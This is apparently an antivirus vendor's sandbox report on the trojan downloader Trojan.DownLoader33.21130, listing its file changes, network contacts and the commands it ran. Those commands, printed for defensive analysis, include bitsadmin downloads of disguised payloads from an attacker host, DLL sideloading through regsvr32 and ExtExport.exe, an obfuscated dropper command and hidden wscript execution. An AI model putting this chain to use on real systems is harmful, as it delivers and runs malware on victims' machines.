Trojan.DownLoader33.21130

Technical Information

Malicious functions

Creates and executes the following

'%WINDIR%\explorer.exe' /c, C:\Users\Public\Documents\cvbvh2j.js

Modifies file system

Creates the following files

C:\users\public\documents\cvbvh2j.js
nul
%APPDATA%\fpv7790378\bit3bdd.tmp
%APPDATA%\fpv7790378\bit7b58.tmp
%APPDATA%\fpv7790378\bit8c70.tmp
%APPDATA%\fpv7790378\bit9cbd.tmp
%APPDATA%\fpv7790378\bitad48.tmp
%APPDATA%\fpv7790378\bitc1cb.tmp
%APPDATA%\fpv7790378\bite16a.tmp
%APPDATA%\fpv7790378\bitf3e9.tmp
%APPDATA%\fpv7790378\bit5fb.tmp
%APPDATA%\fpv7790378\bit1771.tmp
%APPDATA%\fpv7790378\bit28c8.tmp
%APPDATA%\fpv7790378\bit39ef.tmp

Sets the 'hidden' attribute to the following files

%APPDATA%\fpv7790378\bit3bdd.tmp
%APPDATA%\fpv7790378\bit7b58.tmp
%APPDATA%\fpv7790378\bit8c70.tmp
%APPDATA%\fpv7790378\bit9cbd.tmp
%APPDATA%\fpv7790378\bitad48.tmp
%APPDATA%\fpv7790378\bitc1cb.tmp
%APPDATA%\fpv7790378\bite16a.tmp
%APPDATA%\fpv7790378\bitf3e9.tmp
%APPDATA%\fpv7790378\bit5fb.tmp
%APPDATA%\fpv7790378\bit1771.tmp
%APPDATA%\fpv7790378\bit28c8.tmp
%APPDATA%\fpv7790378\bit39ef.tmp

Moves the following files

from %APPDATA%\fpv7790378\bit3bdd.tmp to %APPDATA%\fpv7790378\mammonsysdwwn.gif
from %APPDATA%\fpv7790378\bit7b58.tmp to %APPDATA%\fpv7790378\mammonsysc.jpg
from %APPDATA%\fpv7790378\bit8c70.tmp to %APPDATA%\fpv7790378\mammonsysa.jpg
from %APPDATA%\fpv7790378\bit9cbd.tmp to %APPDATA%\fpv7790378\mammonsysb.jpg
from %APPDATA%\fpv7790378\bitad48.tmp to %APPDATA%\fpv7790378\mammonsysdx.gif
from %APPDATA%\fpv7790378\bitc1cb.tmp to %APPDATA%\fpv7790378\mammonsysg.gif
from %APPDATA%\fpv7790378\bite16a.tmp to %APPDATA%\fpv7790378\mammonsysgx.gif
from %APPDATA%\fpv7790378\bitf3e9.tmp to %APPDATA%\fpv7790378\mammonsysi.gif
from %APPDATA%\fpv7790378\bit5fb.tmp to %APPDATA%\fpv7790378\mammonsysxa.~
from %APPDATA%\fpv7790378\bit1771.tmp to %APPDATA%\fpv7790378\mammonsysxb.~
from %APPDATA%\fpv7790378\bit28c8.tmp to %APPDATA%\fpv7790378\mammonsysxc.~
from %APPDATA%\fpv7790378\bit39ef.tmp to %APPDATA%\fpv7790378\sqlite3.dll

Network activity

TCP

HTTP GET requests

http://bt#######ge.theliberates.online/?02#

'5d######oc9.liberates.tech':443

UDP

DNS ASK bt#######ge.theliberates.online
DNS ASK 5d######oc9.liberates.tech

Miscellaneous

Creates and executes the following

'<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\cvbvh2j.js"
'<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\FPV7790378\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}' (with hidden window)
'<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\FPV7790378\>C:\Users\Public\h"&& exit' (with hidden window)
'<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\FPV7790378\\r2.log"&& exit' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 99672 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsyshh7.dll.zip %APPDATA%\FPV7790378\sqlite3.dll' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 52682 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxc.gif.zip %APPDATA%\FPV7790378\mammonsysxc.~' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 58798 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxb.gif.zip %APPDATA%\FPV7790378\mammonsysxb.~' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 12052 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxa.gif.zip %APPDATA%\FPV7790378\mammonsysxa.~' (with hidden window)
'<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\FPV7790378\sqlite3.dll"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 68271 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysi.gif.zip %APPDATA%\FPV7790378\mammonsysi.gif' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 64081 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysg.gif.zip %APPDATA%\FPV7790378\mammonsysg.gif' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 80840 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdx.gif.zip %APPDATA%\FPV7790378\mammonsysdx.gif' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 7261 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysb.jpg.zip %APPDATA%\FPV7790378\mammonsysb.jpg' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 92186 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysa.jpg.zip %APPDATA%\FPV7790378\mammonsysa.jpg' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 22276 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysc.jpg.zip %APPDATA%\FPV7790378\mammonsysc.jpg' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 56205 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdwwn.gif.zip %APPDATA%\FPV7790378\mammonsysdwwn.gif' (with hidden window)
'<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\cvbvh2j.js"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 82862 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysgx.gif.zip %APPDATA%\FPV7790378\mammonsysgx.gif' (with hidden window)
'<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /S /D /c" sEt/p rbmzxxm="%MXQ:IVEDDI=%%et986da:1UUYD=/%" 0<nul 1>C:\Users\Public\Documents\cvbvh2j.js"
'<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\FPV7790378\sqlite3.dll"
'%ProgramFiles(x86)%\internet explorer\extexport.exe' "%APPDATA%\FPV7790378\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
'<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\FPV7790378\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
'<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\FPV7790378\>C:\Users\Public\h"&& exit
'<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\FPV7790378\\r2.log"&& exit
'<SYSTEM32>\bitsadmin.exe' /transfer 99672 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsyshh7.dll.zip %APPDATA%\FPV7790378\sqlite3.dll
'<SYSTEM32>\bitsadmin.exe' /transfer 52682 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxc.gif.zip %APPDATA%\FPV7790378\mammonsysxc.~
'<SYSTEM32>\bitsadmin.exe' /transfer 58798 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxb.gif.zip %APPDATA%\FPV7790378\mammonsysxb.~
'<SYSTEM32>\bitsadmin.exe' /transfer 12052 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxa.gif.zip %APPDATA%\FPV7790378\mammonsysxa.~
'<SYSTEM32>\bitsadmin.exe' /transfer 68271 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysi.gif.zip %APPDATA%\FPV7790378\mammonsysi.gif
'<SYSTEM32>\bitsadmin.exe' /transfer 82862 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysgx.gif.zip %APPDATA%\FPV7790378\mammonsysgx.gif
'<SYSTEM32>\bitsadmin.exe' /transfer 64081 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysg.gif.zip %APPDATA%\FPV7790378\mammonsysg.gif
'<SYSTEM32>\bitsadmin.exe' /transfer 80840 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdx.gif.zip %APPDATA%\FPV7790378\mammonsysdx.gif
'<SYSTEM32>\bitsadmin.exe' /transfer 7261 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysb.jpg.zip %APPDATA%\FPV7790378\mammonsysb.jpg
'<SYSTEM32>\bitsadmin.exe' /transfer 92186 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysa.jpg.zip %APPDATA%\FPV7790378\mammonsysa.jpg
'<SYSTEM32>\bitsadmin.exe' /transfer 22276 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysc.jpg.zip %APPDATA%\FPV7790378\mammonsysc.jpg
'<SYSTEM32>\bitsadmin.exe' /transfer 56205 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdwwn.gif.zip %APPDATA%\FPV7790378\mammonsysdwwn.gif
'<SYSTEM32>\cmd.exe' /S /D /c" echo IRUSF4666IRLK900HDWYSFJIBMZX 1>nul"
'<SYSTEM32>\cmd.exe' /S /D /c" exit 1>nul"
'<SYSTEM32>\cmd.exe' /S /D /c" cd %WINDIR% 1>nul"
'<SYSTEM32>\cmd.exe' /S /D /c" md \ |"
'<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit
'<SYSTEM32>\timeout.exe' 4000

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial